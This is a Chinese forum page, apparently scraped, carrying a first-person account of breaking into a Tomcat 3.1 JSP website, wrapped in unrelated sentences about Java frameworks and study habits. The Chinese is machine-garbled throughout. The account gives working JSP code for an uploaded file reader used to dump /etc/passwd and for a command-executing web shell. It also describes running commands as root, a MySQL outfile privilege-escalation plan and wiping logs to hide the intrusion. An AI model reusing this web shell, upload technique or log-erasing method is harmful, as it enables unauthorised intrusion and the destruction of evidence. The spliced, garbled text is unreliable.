|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
到时我们不用学struts,不用学spring,不用学Hibernate,只要能把jsf学会了,完全可以替代所有的框架,包括AJAX,都知道AJAX并不是新技术,虽说我没深入学习jsf但我认为jsf应该已经能通过其它技术替代AJAX,实现无缝刷新。js 编者:《现场纪实》是黑客攻防专区新推出的小版块。在这里我们将连续为您先容一些网上黑客进侵的实在案例,与以往从网站平安职员的角度报告分歧,这些案例都是从黑客的角度来形貌进侵的全历程。经由过程这些案例,您能够很分明懂得到黑客在进侵一个网站时所接纳的手艺手腕及接纳的战略。触及详细手艺细节,本栏目会做响应处置,由于我们的目标是经由过程如许的手艺交换配合进步收集的平安性,而非歹意打击别人的盘算机。
很偶尔的一个时机,扫瞄到一个网站,页面清爽让人感到很恬逸。网站是用JSP开辟的,出于团体喜好,我决意测试一下其体系的平安性。
telnetwww.target.com8080
GET/CHINANSLHTTP/1.1
[Enter]
[Enter]
前往的了局以下:
HTTP/1.0404NotFound
Date:Sun,08Jul200107:49:13GMT
Servlet-Engine:TomcatWebServer/3.1(JSP1.1;Servlet2.2;Java1.2.2;Linux2
.2.12i386;java.vendor=BlackdownJava-LinuxTeam)
Content-Language:en
Content-Type:text/html
Status:404
〈h1〉Error:404〈/h1〉
〈h2〉Location:/CHINANSL〈/h2〉FileNotFound〈br〉/CHINANSL
取得了运转的WEBServer的称号“Tomcat3.1”。记得已经发明过这个版本的毛病,而且post到bugtrap上往过。
回想一下,也许是经由过程“..”手艺能够加入WEB目次,因而:
http://target:8080/../../../../%00.jsp(不可)
http://target:8080/file/index.jsp(不可)
http://target:8080/index.JSP(不可)
http://target:8080/index.jsp%81(不可)
http://target:8080/index.js%70(不可)
http://target:8080/index.jsp%2581(不可)
http://target:8080/WEB-INF/(不可)
看来平安情况仿佛还不错,我们再来举行一下更深层的测试。Tomcat3.1自带了一个办理工具,能够检察WEB下的目次及文件,而且能够增加context。因而实验:
http://target:8080/admin/
办理员公然没有删除或克制会见这个目次,从平安的角度说,这点应当算是一个对照主要的掉误。
接着,点击“VIEWALLCONTEXT”按钮,列出了WEB目次下的一些文件和目次的称号,很快发明了一个上传文件的组件,经由过程这个组件将一个JSP文件上传到对方的WEB目次里:
〈%@pageimport="java.io.*"%〉
〈%
Stringfile=request.getParameter("file");
Stringstr="";
FileInputStreamfis=null;
DataInputStreamdis=null;
try{
fis=newFileInputStream(file);
dis=newDataInputStream(fis);
while(true){
try{
str=dis.readLine();
}catch(Exceptione){}
if(str==null)break;
out.print(str+"〈br〉");
}
}catch(IOExceptione){}
%〉
然后实行:
http://target:8080/upload/test.jsp?file=/etc/passwd
暗码出来了。接上去的历程是推测暗码,没有乐成。不外,如今相称于有了一个SHELL,猜不出暗码能够先把IE看成SHELL情况。
再写一个JSP文件:
〈%@pageimport="java.io.*"%〉
〈%
try{
Stringcmd=request.getParameter("cmd");
Processchild=Runtime.getRuntime().exec(cmd);
InputStreamin=child.getInputStream();
intc;
while((c=in.read())!=-1){
out.print((char)c);
}
in.close();
try{
child.waitFor();
}catch(InterruptedExceptione){
e.printStackTrace();
}
}catch(IOExceptione){
System.err.println(e);
}
%〉
然后把这个JSP再经由过程upload上传,有SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(具体了局这里就不列出来了)
怎样取得root权限呢?经由一番搜刮发明体系安装了MySQL,而且从JSP的源代码中失掉了MySQL的暗码,实行:
sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
显现:
root874940.21.9173004800p0-S28Jun015:54.72/usr/local/data/mysql
体系是以root身份运转的MySQL。这时候我思索了一下,既然晓得了MySQL的暗码,那就能够写一个SHELL程序,让它创立一个表,然后将我的数据放到表中,再利用“select...intooutfile;”的举措在体系上创立一个文件,让用户在实行su的时分,运转我的程序。(还记得apache.org有一次被进侵吗?黑客就接纳的这类举措)。
以后就对照复杂了,上传bindshell之类的程序,运转、取得nobody的权限,利用suroot时协助创立的setuidshell让本人成为root。
可是,接上去已实践操纵,了局使人颇感不测:
http://target:8080/upload/cmd.jsp?cmd=id
显现:
uid=0(root)gid=0(xxx)groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
本来这个WEBSHELL原本就是ROOT!办理员的平安设置事情究竟怎样做的?
http://target:8080/upload/cmd.jsp?cmd=ps+aux
公然是root身份运转的(不列出来了)
剩下的事变:
1、删除我的telnet纪录。
2、删除http的日记。
扫除日记我利用的举措是:catxxx|grep-V"IP"〉〉temp然后在把temp掩盖那些被我修正过的日记文件。
申明一点,我没有改换该网站的页面,由于我只是个收集平安喜好者。以是,发封邮件告知systemadmin吧!固然,我特地在信中提到,假如必要安盟信息科技为他供应平安服务的话,我们会十分的乐意!
自己的整个学习思路完全被老师的讲课思路所牵制,这样几节课听下来,恐怕自己的见解都应该是书里的知识点了,根本谈不上自身发现问题,分析问题,和解决问题能力的切实提高。 |
|